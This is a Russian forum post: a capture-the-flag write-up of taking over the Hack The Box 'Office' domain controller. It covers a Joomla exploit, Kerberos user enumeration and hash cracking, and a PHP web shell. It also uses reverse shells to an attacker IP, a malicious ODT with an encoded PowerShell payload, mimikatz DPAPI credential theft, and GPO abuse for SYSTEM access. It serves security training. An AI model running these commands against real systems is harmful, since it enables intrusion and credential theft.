• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Захватываем домен управления групповыми пoлитиками Windows

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как может быть атакован домен управления групповыми политиками в Active Directory. Но начнем мы с восстановленных запросов Kerberos и получим зашифрованные данные, которые позволят нам подобрать пароль пользователя. А затем воспользуемся уязвимостью в Joomla, чтобы получить сессию на удаленном сервере.
Наша цель — получение прав суперпользователя на машине Office с учебной площадки Hack The Box. Уровень задания — сложный.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.3 office.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта

Сканер нашел множество открытых портов, что вполне естественно для контроллера домена:

  • 53 — DNS;
  • 80 (HTTP) — веб‑сервер Apache httpd 2.4.56;
  • 88 — Kerberos;
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — LDAP;
  • 443 (HTTPS) — веб‑сервер Apache httpd 2.4.56;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM;
  • 9389 — веб‑службы AD DS.
Как правило, в таких случаях первым делом стоит смотреть SMB, но на веб‑сервере развернута Joomla, а она может быть уязвима.


Точка входа​

Когда имеем дело с Joomla, первым делом следует использовать специализированный сканер — Для просмотра ссылки Войди или Зарегистрируйся.

joomscan -u Для просмотра ссылки Войди или Зарегистрируйся
Результат сканирования CMS Joomla
Результат сканирования CMS Joomla

Определяем версию (4.2.7) и тут же пробуем найти для нее эксплоиты. Первым делом идем в Google.

Поиск эксплоитов в Google
Поиск эксплоитов в Google
И сразу узнаём, что в нашей версии есть уязвимость Для просмотра ссылки Войди или Зарегистрируйся, что позволит нам получить учетные данные для подключения к базе данных. Для этого будем использовать Для просмотра ссылки Войди или Зарегистрируйся.

Запускаем и указываем адрес:

python3 CVE-2023-23752.py -u Для просмотра ссылки Войди или Зарегистрируйся
Результат работы эксплоита
Результат работы эксплоита

Уязвимость заключается в неправильной проверке доступа. Эксплоит проверяет различные API, которые могут вернуть учетные данные для подключения к базе данных. Однако для авторизации в CMS полученный таким образом пароль не подошел, а других пользователей, кроме администратора, найти не удалось.

В этом случае используем недочет протокола Kerberos: на запрос тикета пользователя могут приходить ответы с разными кодами ошибок. Один — при запросе тикета для несуществующего пользователя, другой — в ответ на неверный пароль. Таким образом, можно методом перебора узнать, какие пользователи есть в домене. Для этого используем утилиту Для просмотра ссылки Войди или Зарегистрируйся.

kerbrute_linux_amd64 userenum --dc dc.office.htb -d office.htb xato-net-10-million-usernames.txt
Результат перебора пользователей
Результат перебора пользователей
Сохраняем найденных пользователей в файл и спреим полученный ранее пароль с помощью Для просмотра ссылки Войди или Зарегистрируйся.

nxc smb 10.10.11.3 -u users.txt -p 'H0lOgrams4reTakIng0Ver754!' --smb-timeout 3
Результат спрея пароля
Результат спрея пароля

Теперь у нас есть валидная учетная запись, что позволяет провести базовую разведку в домене.

Первым делом получим список всех пользователей.

nxc ldap 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --users
Список пользователей
Список пользователей

Также необходимо сразу узнать, какие пользователи могут получить сессию через службу WinRM. Для этого запросим членов группы «Пользователи удаленного управления».

nxc smb 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --group 'Remote Management Users' --smb-timeout 3
Содержимое группы Remote Management Users
Содержимое группы Remote Management Users

Получить сессию на сервере можно всего через одного пользователя. Теперь стоит проверить общие ресурсы SMB.

nxc smb 10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --shares --smb-timeout 3
Общие ресурсы SMB
Общие ресурсы SMB

Каталог SOC Analysis — нестандартный, поэтому нужно просмотреть его содержимое.

impacket-smbclient 'office.htb/dwolfe:H0lOgrams4reTakIng0Ver754!'@10.10.11.3
Содержимое общего SMB-ресурса
Содержимое общего SMB-ресурса
В общем каталоге находим дамп трафика. Скачиваем его для анализа.


Точка опоры​


Kerberos network dump​

Открываем скачанный дамп трафика в Wireshark и в самом конце находим два пакета Kerberos.

Содержимое дампа трафика
Содержимое дампа трафика

Запрос AS-REQ содержит зашифрованную метку времени. В качестве ключа шифрования используется хеш пароля пользователя.

Содержимое сетевого пакета запроса AS-REQ
Содержимое сетевого пакета запроса AS-REQ

Используя Для просмотра ссылки Войди или Зарегистрируйся hashcat, можно попытаться подобрать пароль пользователя. Если с использованием NTLM-хеша строки получится расшифровать метку времени, можно считать, что мы нашли пароль пользователя.

Форматы hashcat
Форматы hashcat

Формируем хеш:

$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
И отправляем на перебор в режиме 19900.

hashcat -a 0 -m 19900 tstark_hash.txt rockyou.txt
Результат подбора пароля
Результат подбора пароля

Пароль получен, теперь нужно его валидировать с помощью NetExec.

nxc smb 10.10.11.3 -u tstark -p 'playboy69' --smb-timeout 3
Результат проверки пароля
Результат проверки пароля

Пароль верный, но никаких новых доступов мы не получаем. Однако этот пароль подходит для учетной записи администратора Joomla.

Страница авторизации
Страница авторизации
Главная панель администратора
Главная панель администратора

Joomla RCE​

Администратор Joomla может загружать файлы на сервер, что дает возможность получить RCE. Для этого необходимо в меню перейти в System → Site Templates и выбрать шаблон.

Страница System
Страница System
Страница Templates
Страница Templates

Затем выбираем New File, вводим имя и выбираем расширение .php.

Файлы шаблона
Файлы шаблона

Создание нового файла
Создание нового файла

В окне исходного кода вставляем Для просмотра ссылки Войди или Зарегистрируйся.

Исходный код шелла
Исходный код шелла

Когда файл сохранен, можно перейти к шеллу и получить возможность выполнения команд.

Страница с веб-шеллом
Страница с веб‑шеллом

Запускаем листенер:

rlwrap nc -nlvp 4321
И с помощью Для просмотра ссылки Войди или Зарегистрируйся выполняем реверс‑шелл от имени пользователя tstark.

RunasCs.exe tstark playboy69 -d office cmd.exe -r 10.10.16.143:4321
Сессия пользователя tstark
Сессия пользователя tstark
В домашнем каталоге пользователя забираем первый флаг.

Флаг пользователя
Флаг пользователя

Продвижение​


Пользователь ppotts​

Первым делом смотрим системные настройки. В списке прослушиваемых портов можно обнаружить 8083.

netstat /an
Прослушиваемые порты
Прослушиваемые порты
Скорее всего, на этом порте работает веб‑сервер, поэтому просмотрим каталог XAMPP.

Содержимое каталога C:\xampp\htdocs
Содержимое каталога C:\xampp\htdocs

Но чтобы получить доступ к порту, который доступен только для локального хоста, необходимо построить сетевой туннель. Для этого будем использовать Для просмотра ссылки Войди или Зарегистрируйся.

На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр -p).

./chisel.bin server -p 8888 --reverse
Затем на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также настройку туннеля: туннелировать трафик с локального порта 8083 сервера на порт 8083 клиента.

chisel.exe client 10.10.16.143:8888 R:8083:localhost:8083
В логах сервера мы должны увидеть сообщение о создании сессии.

Логи chisel server
Логи chisel server
Теперь можно обратиться к порту 8083 локальной машины через браузер.

Главная страница сайта
Главная страница сайта

На сайте есть форма загрузки файлов, но приложение принимает не все форматы, а только документы OpenOffice.

Ошибка загрузки файла
Ошибка загрузки файла

Формат ODT — это шаблон документа LibreOffice. Я попробовал загрузить документ с макросом, никакой реакции веб‑сервер не дал, поэтому пришлось поискать последние эксплоиты.

Поиск эксплоитов в Google
Поиск эксплоитов в Google

Свежая уязвимость Для просмотра ссылки Войди или Зарегистрируйся позволяет сформировать такой файл ODT, который при открытии выполнит произвольный код. Для формирования файла с нагрузкой используем Для просмотра ссылки Войди или Зарегистрируйся. В качестве исполняемой команды будем внедрять уже знакомый реверс‑шелл.

python3 CVE-2023-2255.py --cmd 'powershell -e JABjA....4AdAAuAEMAbABvAHMAZQAoACkA' --output doc.odt
Теперь отправляем сформированный файл и сразу же получаем бэкконнект на указанный порт.

Сессия пользователя ppotts
Сессия пользователя ppotts

Пользователь hhogan​

Одно из мест, которые всегда стоит проверять в поисках пути для повышения привилегий, — сохраненные учетные данные.

cmdkey /list
Сохраненные учетные данные
Сохраненные учетные данные
Менеджер учетных данных содержит сохраненный пароль пользователя office\hhogan. Для хранения данных Credman использует механизм DPAPI. Блобы c данными хранятся в каталоге %APPDATA%\Roaming\Microsoft\Credentials.

Get-ChildItem -Hidden C:\Users\ppotts\AppData\Roaming\Microsoft\Credentials\
Содержимое каталога Credentials
Содержимое каталога Credentials
При попытке расшифровать BLOB без мастер‑ключа при помощи Для просмотра ссылки Войди или Зарегистрируйся мы получим guid нужного нам ключа (поле guidMasterKey).

mimikatz.exe "dpapi::cred /in:C:\Users\ppotts\AppData\Roaming\Microsoft\Credentials\18A1927A997A794B65E9849883AC3F3E" "exit"
Содержимое блоба данных
Содержимое блоба данных
Мастер‑ключ хранится в зашифрованном на ключевой информации пользователя виде в файле вот по такому пути:

%APPDATA%\Roaming\Microsoft\Protect\<SID>\<guidMasterKey>
Так как мы работаем в сессии пользователя, мастер‑ключ которого нам нужно получить, можем использовать механизм /rpc. Он поможет нам получить важную информацию, которая позволит расшифровать мастер‑ключ.

mimikatz.exe "dpapi::masterkey /in:C:\Users\ppotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" "exit"
Получение мастер-ключа
Получение мастер‑ключа

Теперь используем полученный мастер‑ключ, чтобы расшифровать блоб.

Код:
mimikatz.exe "dpapi::cred /in:C:\Users\ppotts\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4 /masterkey:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166" "exit"

Учетные данные пользователя
Учетные данные пользователя

Так как новый пользователь состоит в группе «Пользователи удаленного управления», можно получить доступ, используя службу WinRM. В этом нам поможет утилита Для просмотра ссылки Войди или Зарегистрируйся.

evil-winrm -u 'hhogan' -p 'H4ppyFtW183#' -i 10.10.11.3
Сессия пользователя hhogan
Сессия пользователя hhogan

Повышение привилегий​

Просматриваем информацию о пользователе, его группы и привилегии и отмечаем, что пользователь состоит в группе GPO Managers.

Информация о пользователе
Информация о пользователе
Эта группа позволит нам управлять объектами групповой политики, а это путь к повышению привилегий. Получим все объекты групповой политики в домене. Нас интересуют только идентификаторы объектов и их имена.

Get-GPO -All | select Id,DisplayName
Список GPO
Список GPO
Для изменения параметров GPO будем использовать инструмент Для просмотра ссылки Войди или Зарегистрируйся. Изменим политику домена по умолчанию и добавим текущего пользователя в группу Administrators.

Код:
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount hhogan --GPOName "Default Domain Policy"
gpupdate /force
Изменение GPO
Изменение GPO
Периодически просматриваем членов группы Administrators. Вскоре там появится и наш добавленный пользователь.

net localgroup Administrators
Члены группы Administrators
Члены группы Administrators
Теперь у пользователя есть высокие привилегии и мы можем использовать PsExec для получения сессии от имени SYSTEM.

impacket-psexec 'office.htb/hhogan:H4ppyFtW183#'@10.10.11.3
Флаг рута
Флаг рута

Мы получили флаг рута, а значит, машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу